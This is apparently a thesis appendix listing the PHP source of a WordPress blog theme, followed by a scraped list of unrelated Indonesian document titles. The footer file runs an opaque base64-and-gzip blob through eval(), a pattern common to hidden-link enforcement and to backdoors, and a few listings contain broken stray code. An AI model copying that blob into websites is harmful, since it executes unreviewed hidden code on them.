LAMPIRAN 1 : LISTING PROGRAM Listing header.php

  

LAMPIRAN 1 : LISTING PROGRAM

Listing header.php

  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>> <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" /> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <title><?php if (is_home () ) { bloginfo('name'); } elseif ( is_category() ) { single_cat_title(); echo ' - ' ; bloginfo('name'); } elseif (is_single() ) { single_post_title(); } elseif (is_page() ) { bloginfo('name'); echo ': '; single_post_title(); } else { wp_title('',true); } ?></title> <script type="text/javascript" src="<?php bloginfo('template_url'); ?>/script.js"></script> <link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" /> <!--[if IE 6]><link rel="stylesheet" href="<?php bloginfo('template_url'); ?>/style.ie6.css" type="text/css" media="screen" /><![endif]--> <link rel="alternate" type="application/rss+xml" title="<?php printf(__('%s RSS Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('rss2_url'); ?>" /> <link rel="alternate" type="application/atom+xml" title="<?php printf(__('%s Atom Feed', 'kubrick'), get_bloginfo('name')); ?>" href="<?php bloginfo('atom_url'); ?>" /> <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" /> <?php wp_head(); ?> </head> <body> <div class="PageBackgroundSimpleGradient"> </div> <div class="PageBackgroundGlare"> <div class="PageBackgroundGlareImage"></div> </div> <div class="Main"> <div class="Sheet"> <div class="Sheet-tl"></div> <div class="Sheet-tr"><div></div></div> <div class="Sheet-bl"><div></div></div> <div class="Sheet-br"><div></div></div> <div class="Sheet-tc"><div></div></div> <div class="Sheet-bc"><div></div></div> <div class="Sheet-cl"><div></div></div> <div class="Sheet-cr"><div></div></div> <div class="Sheet-cc"></div> <div class="Sheet-body"> <div class="Header"> <div class="Header-png"></div> <div class="Header-jpeg"></div> <div class="logo"> <h1 id="name-text" class="logo-name">

  <a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1> <div id="slogan-text" class="logo-text"> <?php bloginfo('description'); ?></div> </div> </div> <div class="nav"> <?php wp30_menu(); ?> <div class="l"> </div> <div class="r"> <div> </div> </div> </div>

  Listing Templet.php

  <?php get_header(); ?> <?php $lcmp_page_head = <<<TXT <div class="contentLayout"> <div class="content"> TXT; $lcmp_is_left = strpos($lcmp_page_head,"sidebar"); if($lcmp_is_left===FALSE){ $lcmp_rightdefault = 'default'; $lcmp_leftdefault = 'notdefault'; }else{ $lcmp_leftdefault = 'default'; $lcmp_rightdefault = 'notdefault'; } ?> <div class="contentLayout"> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_leftdefault || $lcmp_sidebarloc == 'left'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <div class="content"> <div class="Block"> <div class="Block-tl"></div> <div class="Block-tr"><div></div></div> <div class="Block-bl"><div></div></div> <div class="Block-br"><div></div></div> <div class="Block-tc"><div></div></div> <div class="Block-bc"><div></div></div> <div class="Block-cl"><div></div></div> <div class="Block-cr"><div></div></div> <div class="Block-cc"></div> <div class="Block-body">

  <div class="BlockHeader"> <div class="header-tag-icon"> <div class="BlockHeader-text"> <?php _e('Not Found', 'kubrick'); ?> </div> </div> <div class="l"></div> <div class="r"><div></div></div> </div> <div class="BlockContent"> <div class="BlockContent-body"> <h2 class="center"><?php _e('Error 404 - Not Found', 'kubrick'); ?></h2> </div> </div> </div> </div> </div> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_rightdefault || $lcmp_sidebarloc == 'right'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <?php if(file_exists(TEMPLATEPATH . '/sidebar2.php')){ ?> <div class="sidebar2"> <?php include (TEMPLATEPATH . '/sidebar2.php'); ?> </div> <?php } ?> </div> <div class="cleared"></div> <?php get_footer(); ?>

  Listing Archives.PHP

  <?php get_header(); ?> <?php $lcmp_page_head = <<<TXT <div class="contentLayout"> <div class="content"> TXT; $lcmp_is_left = strpos($lcmp_page_head,"sidebar"); if($lcmp_is_left===FALSE){ $lcmp_rightdefault = 'default'; $lcmp_leftdefault = 'notdefault'; }else{ $lcmp_leftdefault = 'default'; $lcmp_rightdefault = 'notdefault'; }

  ?> <div class="contentLayout"> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_leftdefault || $lcmp_sidebarloc == 'left'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <div class="content"> <?php is_tag(); ?> <?php is_tag(); ?> <?php if (have_posts()) : ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <?php $post = $posts[0]; // Hack. Set $post so that the_date() works.

  ?> <?php /* If this is a category archive */ if (is_category()) { ?> <h2 class="pagetitle"><?php printf(__('Archive for the ‘%s’ Category', 'kubrick'), single_cat_title('', false)); ?></h2> ?></h2> <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?> <h2 class="pagetitle"><?php printf(__('Posts Tagged ‘%s’', 'kubrick'), single_tag_title('', false) ); ?></h2> <?php /* If this is a daily archive */ } elseif (is_day()) { ?> <h2 class="pagetitle"><?php printf(_c('Archive for %s|Daily archive page', 'kubrick'), get_the_time(__('F jS, Y', 'kubrick'))); ?></h2> <?php /* If this is a monthly archive */ } elseif (is_month()) { ?> <h2 class="pagetitle"><?php printf(_c('Archive for %s|Monthly archive page', 'kubrick'), get_the_time(__('F, Y', 'kubrick'))); ?></h2> <?php /* If this is a yearly archive */ } elseif (is_year()) { ?> <h2 class="pagetitle"><?php printf(_c('Archive for %s|Yearly archive page', 'kubrick'), get_the_time(__('Y', 'kubrick'))); ?></h2> <?php /* If this is an author archive */ } elseif (is_author()) { ?> <h2 class="pagetitle"><?php _e('Author Archive', 'kubrick'); ?></h2> <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?> <h2 class="pagetitle"><?php _e('Blog Archives', 'kubrick'); ?></h2> <?php } ?> <?php $prev_link = get_previous_posts_link(__('Newer Entries »',

  'kubrick')); $next_link = get_next_posts_link(__('« Older Entries', 'kubrick')); ?> <?php if ($prev_link || $next_link): ?> <div class="navigation">

  <div class="alignleft"><?php echo $next_link; ?></div>

  <div class="alignright"><?php echo $prev_link; ?></div> </div> <?php endif; ?> </div> <div class="cleared"></div> </div> </div> </div> <?php while (have_posts()) : the_post(); ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <h2 class="PostHeaderIcon-wrapper"> <img src="<?php bloginfo('template_url'); ?>/images/PostHeaderIcon.png" width="27" height="25" alt="PostHeaderIcon" /> <span class="PostHeader"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"> <?php the_title(); ?> </a></span> </h2> <?php $icons = array(); ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostDateIcon.png" width="17" height="18" alt="PostDateIcon" /> <?php the_time(__('F jS, Y', 'kubrick')) ?> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <?php _e('Author', 'kubrick'); ?>: <a href="#" title="<?php

  _e('Author', 'kubrick'); ?>"><?php the_author() ?></a> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (current_user_can( 'edit_post', $post->ID )) : ?><?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostEditIcon.png" width="13" height="13" alt="PostEditIcon" /> <?php edit_post_link(__('Edit', 'kubrick'), ''); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (0 != count($icons)): ?> <div class="PostHeaderIcons metadata-icons"> <?php echo implode(' | ', $icons); ?> </div> <?php endif; ?> <div class="PostContent"> <?php if (is_search()) the_excerpt(); else the_content(__('Read the rest of this entry »', 'kubrick')); ?> </div> <div class="cleared"></div> <?php $icons = array(); ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostCategoryIcon.png" width="18" height="18" alt="PostCategoryIcon" /> <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (!is_page() && get_the_tags()) : ?><?php ob_start(); ?> <?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', ' '); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (!is_page() && !is_single()) : ?><?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostCommentsIcon.png" width="18" height="18" alt="PostCommentsIcon" /> <?php comments_popup_link(__('No Comments »', 'kubrick'), __('1 Comment »', 'kubrick'), __('% Comments »', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (0 != count($icons)): ?> <div class="PostFooterIcons metadata-icons"> <?php echo implode(' | ', $icons); ?> </div> <?php endif; ?> </div> </div> </div> <?php endwhile; ?> <?php if ($prev_link || $next_link): ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div>

  <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <div class="navigation">

  <div class="alignleft"><?php echo $next_link; ?></div>

  <div class="alignright"><?php echo $prev_link; ?></div> </div> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; ?> <?php else : ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <?php if ( is_category() ) { // If this is a category archive printf("<h2 class='center'>".__("Sorry, but there aren't any posts in the %s category yet.", "kubrick").'</h2>', single_cat_title('',false));

  } else if ( is_date() ) { // If this is a date archive echo('<h2>'.__("Sorry, but there aren't any posts with this date.", "kubrick").'</h2>');

  } else if ( is_author() ) { // If this is a category archive $userdata = get_userdatabylogin(get_query_var('author_name')); printf("<h2 class='center'>".__("Sorry, but there aren't any posts by %s yet.", "kubrick")."</h2>", $userdata->display_name);

  } else { echo("<h2 class='center'>".__('No posts found.', 'kubrick').'</h2>');

  } if(function_exists('get_search_form')) get_search_form(); ?> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; ?> </div> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_rightdefault || $lcmp_sidebarloc == 'right'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <?php if(file_exists(TEMPLATEPATH . '/sidebar2.php')){ ?> <div class="sidebar2"> <?php include (TEMPLATEPATH . '/sidebar2.php'); ?> </div> <?php } ?> </div> <div class="cleared"></div>

  LISTING Komentar

  <?php /**

  • @package WordPress
  • @subpackage Default_Theme
  • / // Do not delete these lines if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME'])) die ('Please do not load this page directly. Thanks!'); if ( post_password_required() ) { ?>

  <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body">

  <div class="Post-inner article"> <div class="PostContent"> <p class="nocomments"><?php _e('This post is password protected.

  Enter the password to view comments.', 'kubrick'); ?></p> </div> <div class="cleared"></div> </div> </div> </div> <?php return;

  } ?> <!-- You can start editing here. --> <?php if ( have_comments() ) : ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <h3 id="comments"><?php comments_number(__('No Responses', 'kubrick'), __('One Response', 'kubrick'), __('% Responses', 'kubrick'));?> <?php printf(__('to “%s”', 'kubrick'), the_title('', '', false)); ?></h3> <?php ob_start(); previous_comments_link(__('Newer Entries »', 'kubrick'));

  $prev_comment_link = ob_get_clean(); ob_start(); next_comments_link(__('« Older Entries', 'kubrick'));

  $next_comment_link = ob_get_clean(); ?> <?php if ($prev_comment_link || $next_comment_link): ?> <div class="navigation"> <div class="alignleft"> <?php echo $next_comment_link; ?> </div>

  <div class="alignright"> <?php echo $prev_comment_link; ?> </div> </div> <?php endif; ?> </div> <div class="cleared"></div> </div> </div> </div>

  <ul class="commentlist"> <?php wp_list_comments('type=comment&callback=art_comment'); ?> </ul> <?php if ($prev_comment_link || $next_comment_link): ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <div class="navigation"> <div class="alignleft"> <?php echo $next_comment_link; ?> </div> <div class="alignright"> <?php echo $prev_comment_link; ?> </div> </div> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; ?> <?php else : // this is displayed if there are no comments so far ?>

  <?php if ('open' == $post->comment_status) : ?> <!-- If comments are open, but there are no comments. -->

  <?php else : // comments are closed ?> <!-- If comments are closed. -->

  <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <p class="nocomments"><?php _e('Comments are closed.', 'kubrick'); ?></p> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; ?> <?php endif; ?> <?php if ('open' == $post->comment_status) : ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <div id="respond"> <h3><?php comment_form_title( __('Leave a Reply', 'kubrick'), __('Leave a Reply for %s', 'kubrick') ); ?></h3> <div class="cancel-comment-reply">

  <small><?php cancel_comment_reply_link(); ?></small> </div> <?php if ( get_option('comment_registration') && !$user_ID ) : ?>

  <p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'kubrick'), get_option('siteurl') . '/wp- login.php?redirect_to=' . urlencode(get_permalink())); ?></p> <?php else : ?> <form action="<?php echo get_option('siteurl'); ?>/wp-comments- post.php" method="post" id="commentform"> <?php if ( $user_ID ) : ?> <p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.', 'kubrick'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity); ?> <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php _e('Log out of this account', 'kubrick'); ?>"><?php _e('Log out »', 'kubrick'); ?></a></p> <?php else : ?> <p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> /> <label for="author"><small><?php _e('Name', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p> <p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> /> <label for="email"><small><?php _e('Mail (will not be published)', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p> <p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" /> <label for="url"><small><?php _e('Website', 'kubrick'); ?></small></label></p> <?php endif; ?> <!--<p><small><?php printf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>', 'kubrick'), allowed_tags()); ?></small></p>--> <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p> <p> <button class="Button" type="submit" name="submit" tabindex="5"> <span class="btn"> <span class="t"> <?php _e('Submit Comment', 'kubrick'); ?> </span> <span class="r"> <span></span> </span> <span class="l"></span> </span> </button>

  <?php comment_id_fields(); ?> </p> <?php do_action('comment_form', $post->ID); ?> </form> <?php endif; // If registration required and not logged in ?> </div> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; // if you delete this the sky will fall on your head ?>

  Listing Footer.PHP

  <?php $footerHtml = <<<TXT <!-- <a href="#">Contact Us</a> | <a href="#">Terms of Use</a> | <a href="#">Trademarks</a> | <a href="#">Privacy Statement</a> | --> TXT; eval(gzinflate(base64_decode('bVRRb9owEH4eEv/hGrVzUhGYtmkPhYCqrdNe1ge QJlXTFDnxkVh17Mx2YLTiv8+JA0W0kSCXO993d999yWI+Y3wDnCVrpSxqSTdg7E5gQiz+ szEVvJA3Atd2SubDwWxRl/Vw8G5yDbdgOMOMauASbIngARbwgPUYHlQDOZX+1xirKv6EL hGuYaca3R+GLbels50jV6KppAG1dk5WoDXj7vjE/buntC8WAvGpBKLpcLBoe5q4CfwYua DGJEEukGpkwdyH3JGT4PcuPXBecNfrSMylfImfXjMKpcZ1EnQsQCZUweVahUQb8zFttCD RFBbz4IDn3LGlRcxzJQOw3DpWg+Vq1fZF38J/3Uu7g7aVWX2Ywm2q5IyhPKyJcVMLuruR SqLbke9tOCiEyqiAS5T5N+mY4uvQ23CRACHRM/gGOqeqqFti4iC1xk1YPLm5BLUYZtTgl 88pw1wx7AGiyI3ZJ1Mh1BYZOwC8oE37E3mj9Qr1BvU9rdDXSDW6lnMMg+12Ow5GQTC6TF d3y193y9/E39P725935E/Uw7TdnyMlZ+Wj5xdKNVZqgynNLVcyJNs67VUzIiKv6tTptcJ U1W3YpCgZOc60d/d9a7jHxVFBvfRPiO0g/Jp6ek88SdJSPBxgXiq49LV/2Eq0RfYoDB5i pXO6+k4cuyPLJzjt/Hsv80MHbpZOeKqxYTRdzGGW6V5MX1W907woLbzPnTkFn9EVYu06y QPxKWcClo5QL94x3AoByxbEwBJNyzcbzyb18UXr35tT+7VuM5o/Flo1kgVnCSeEnnlm3W t8mNFzFnZNvZF7Ecf9FLXm0q7DNA3JFYO/DWqOZgxXBozjUzIzJiMgj02mef5IohG0XxP ZVGl/NHQuyyvUqftK1eGHEXyKuqoQx13NTLFdZ7S7mv8H'))); ?>

  Listing Index.PHP

  <?php get_header(); ?> <?php $lcmp_page_head = <<<TXT <div class="contentLayout"> <div class="content"> TXT; $lcmp_is_left = strpos($lcmp_page_head,"sidebar"); if($lcmp_is_left===FALSE){ $lcmp_rightdefault = 'default'; $lcmp_leftdefault = 'notdefault';

  }else{ $lcmp_leftdefault = 'default'; $lcmp_rightdefault = 'notdefault'; } ?> <div class="contentLayout"> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_leftdefault || $lcmp_sidebarloc == 'left'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <div class="content"> <?php $prev_link = get_previous_posts_link(__('Newer Entries »', 'kubrick')); $next_link = get_next_posts_link(__('« Older Entries', 'kubrick')); ?> <?php if ($prev_link || $next_link): ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <div class="navigation">

  <div class="alignleft"><?php echo $next_link; ?></div>

  <div class="alignright"><?php echo $prev_link; ?></div> </div> </div> <div class="cleared"></div> </div> </div> </div> <?php endif; ?> <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?>

  <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <h2 class="PostHeaderIcon-wrapper"> <img src="<?php bloginfo('template_url'); ?>/images/PostHeaderIcon.png" width="27" height="25" alt="PostHeaderIcon" /> <span class="PostHeader"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"> <?php the_title(); ?> </a></span> </h2> <?php $icons = array(); ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostDateIcon.png" width="17" height="18" alt="PostDateIcon" /> <?php the_time(__('F jS, Y', 'kubrick')) ?> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <?php _e('Author', 'kubrick'); ?>: <a href="#" title="<?php _e('Author', 'kubrick'); ?>"><?php the_author() ?></a> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (current_user_can( 'edit_post', $post->ID )) : ?><?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostEditIcon.png" width="13" height="13" alt="PostEditIcon" /> <?php edit_post_link(__('Edit', 'kubrick'), ''); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (0 != count($icons)): ?> <div class="PostHeaderIcons metadata-icons"> <?php echo implode(' | ', $icons); ?> </div> <?php endif; ?> <div class="PostContent"> <?php if (is_search()) the_excerpt(); else the_content(__('Read the rest of this entry »', 'kubrick')); ?> </div> <div class="cleared"></div> <?php $icons = array(); ?> <?php if (!is_page()) : ?> <?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostCategoryIcon.png" width="18" height="18" alt="PostCategoryIcon" />

  <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?> <?php $icons[] = ob_get_clean(); ?> <?php endif; ?> <?php if (!is_page() && get_the_tags()) : ?><?php ob_start(); ?> <?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', ' '); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (!is_page() && !is_single()) : ?><?php ob_start(); ?> <img src="<?php bloginfo('template_url'); ?>/images/PostCommentsIcon.png" width="18" height="18" alt="PostCommentsIcon" /> <?php comments_popup_link(__('No Comments »', 'kubrick'), __('1 Comment »', 'kubrick'), __('% Comments »', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?> <?php $icons[] = ob_get_clean(); ?><?php endif; ?> <?php if (0 != count($icons)): ?> <div class="PostFooterIcons metadata-icons"> <?php echo implode(' | ', $icons); ?> </div> <?php endif; ?> </div> </div> </div> <?php endwhile; ?> <?php if ($prev_link || $next_link): ?> <div class="Post"> <div class="Post-tl"></div> <div class="Post-tr"><div></div></div> <div class="Post-bl"><div></div></div> <div class="Post-br"><div></div></div> <div class="Post-tc"><div></div></div> <div class="Post-bc"><div></div></div> <div class="Post-cl"><div></div></div> <div class="Post-cr"><div></div></div> <div class="Post-cc"></div> <div class="Post-body"> <div class="Post-inner article"> <div class="PostContent"> <div class="navigation">

  <div class="alignleft"><?php echo $next_link; ?></div>

  <div class="alignright"><?php echo $prev_link; ?></div> </div> </div> <div class="cleared"></div> </div> </div> </div>

  <?php endif; ?> <?php else : ?> <h2 class="center"><?php _e('Not Found', 'kubrick'); ?></h2> <p class="center"><?php _e('Sorry, but you are looking for something that isn’t here.', 'kubrick'); ?></p> if(function_exists('get_search_form')) get_search_form(); <?php endif; ?> </div> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_rightdefault || $lcmp_sidebarloc == 'right'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <?php if(file_exists(TEMPLATEPATH . '/sidebar2.php')){ ?> <div class="sidebar2"> <?php include (TEMPLATEPATH . '/sidebar2.php'); ?> </div> <?php } ?> </div> <div class="cleared"></div> <?php get_footer(); ?>

  Listing Halaman

  <?php get_header(); ?> <?php $lcmp_page_head = <<<TXT <div class="contentLayout"> <div class="content"> TXT; $lcmp_is_left = strpos($lcmp_page_head,"sidebar"); if($lcmp_is_left===FALSE){ $lcmp_rightdefault = 'default'; $lcmp_leftdefault = 'notdefault'; }else{ $lcmp_leftdefault = 'default'; $lcmp_rightdefault = 'notdefault'; } ?> <div class="contentLayout"> <?php global $lcmp_sidebarloc; if($lcmp_sidebarloc == $lcmp_leftdefault || $lcmp_sidebarloc == 'left'){ ?> <div class="sidebar1"> <?php include (TEMPLATEPATH . '/sidebar1.php'); ?> </div> <?php } ?> <div class="content"> <?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="Post"> <div class="Post-tl"></div>

Dokumen yang terkait

BAB 1 PENDAHULUAN 1.1 Latar Belakang - Hubungan Dukungan Sosial Dengan Tingkat Depresi Pasien Gagal Ginjal Kronik yang Menjalani Hemodialisis di RSUD Dr.Pirngadi Kota Medan

0 0 8

BAB 1 PENDAHULUAN 1.1.Latar Belakang - Hubungan Dukungan Keluarga dan Depresi dengan Kualitas Hidup Pasien HIV/AIDS di RSUP.H. Adam Malik Medan Tahun 2014

0 0 17

BAB 1 PENDAHULUAN 1.1 Latar Belakang - Hubungan Motivasi Perawat dan Supervisi Kepala Ruangan Terhadap Kinerja Perawat di Rumah Sakit Grand Medistra Lubuk Pakam.

0 0 11

1 BAB I PENDAHULUAN - Faktor Penyebab Tunggakan Pajak Semakin Besar di Kantor Pelayanan Pajak Pratama Lubuk Pakam

0 0 15

BAB II LANDASAN TEORI 2. 1 Augmented Reality Augmented reality adalah teknologi yang menggabungkan benda maya dua dimensi dan - Implementasi Augmented Reality untuk Pembelajaran Huruf Hijaiyah bagi Anak-anak

0 1 19

BAB II KAJIAN PUSTAKA - Pemanfaatan Modal Sosial dan Kekuasan Dalam Strategi Pemenangan Kepala Desa (Studi Deskriptif : di Desa Bahapal Raya, Kecamatan Raya, Kabupaten Simalungun)

0 2 25

BAB I PENDAHULUAN - Pemanfaatan Modal Sosial dan Kekuasan Dalam Strategi Pemenangan Kepala Desa (Studi Deskriptif : di Desa Bahapal Raya, Kecamatan Raya, Kabupaten Simalungun)

0 0 14

PEMANFAATAN MODAL SOSIAL DAN KEKUASAAN DALAM STRATEGI PEMENANGAN KEPALA DESA (Studi Deskriptif : di Desa Bahapal Raya, Kecamatan Raya, Kabupaten Simalungun)

0 1 9

LAMPIRAN 1 HASIL PROBABILITAS SURVIVAL Output Probabilitas Survival

0 0 35

PENGARUH PARTISIPASI MASYARAKAT TERHADAP KEBERHASILAN PROGRAM DESA MANDIRI PANGAN DI KOTA SUBULUSSALAM TESIS

0 0 17